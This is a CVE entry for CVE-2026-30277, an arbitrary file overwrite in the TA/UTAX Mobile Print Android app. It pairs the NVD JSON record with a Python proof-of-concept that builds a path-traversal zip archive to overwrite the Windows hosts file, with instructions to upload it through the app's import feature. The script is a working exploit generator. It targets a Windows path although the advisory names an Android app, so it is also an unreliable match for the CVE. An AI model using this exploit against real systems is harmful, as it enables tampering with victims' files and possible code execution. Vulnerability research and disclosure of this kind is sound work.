CVE-2026-30277

# PoC for Arbitrary File Overwrite via Path Traversal # This script generates a malicious archive intended to be imported by the vulnerable application. import zipfile import os def generate_exploit_zip(output_filename, target_file_path, malicious_content): """ Creates a zip file containing a file with a path traversal payload. """ try: with zipfile.ZipFile(output_filename, 'w') as zf: # Use path traversal to escape the extraction directory # Example target: Overwriting a critical configuration or library file zinfo = zipfile.ZipInfo(target_file_path) zinfo.compress_type = zipfile.ZIP_DEFLATED zf.writestr(zinfo, malicious_content) print(f"[+] Exploit file '{output_filename}' created successfully.") print(f"[+] Target file to overwrite: {target_file_path}") print(f"[*] Upload this file via the application's 'File Import' feature.") except Exception as e: print(f"[-] Error creating zip file: {e}") if __name__ == "__main__": # Configuration # Note: The actual path depends on the OS and installation directory of the target app. # This is a conceptual example targeting a Windows system file. TARGET_PATH = "../../../../../../Windows/System32/drivers/etc/hosts" PAYLOAD_CONTENT = "127.0.0.1 local.attacker.com\n" OUTPUT_FILE = "malicious_import.zip" generate_exploit_zip(OUTPUT_FILE, TARGET_PATH, PAYLOAD_CONTENT)

{"cve": {"id": "CVE-2026-30277", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:46.740", "lastModified": "2026-04-03T18:42:53.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in PDF Reader App : TA/UTAX Mobile Print v3.7.2.251001 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:triumph-adler:mobile_print:3.7.2.251001:*:*:*:*:android:*:*", "matchCriteriaId": "E05FBD85-97B0-4C9A-9180-BB0F923723E4"}]}]}], "references": [{"url": "http://pdf.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/24", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.triumph-adler.com/ta-de-de/software/mobile-und-cloud/mobile-print", "source": "[email protected]", "tags": ["Product"]}]}}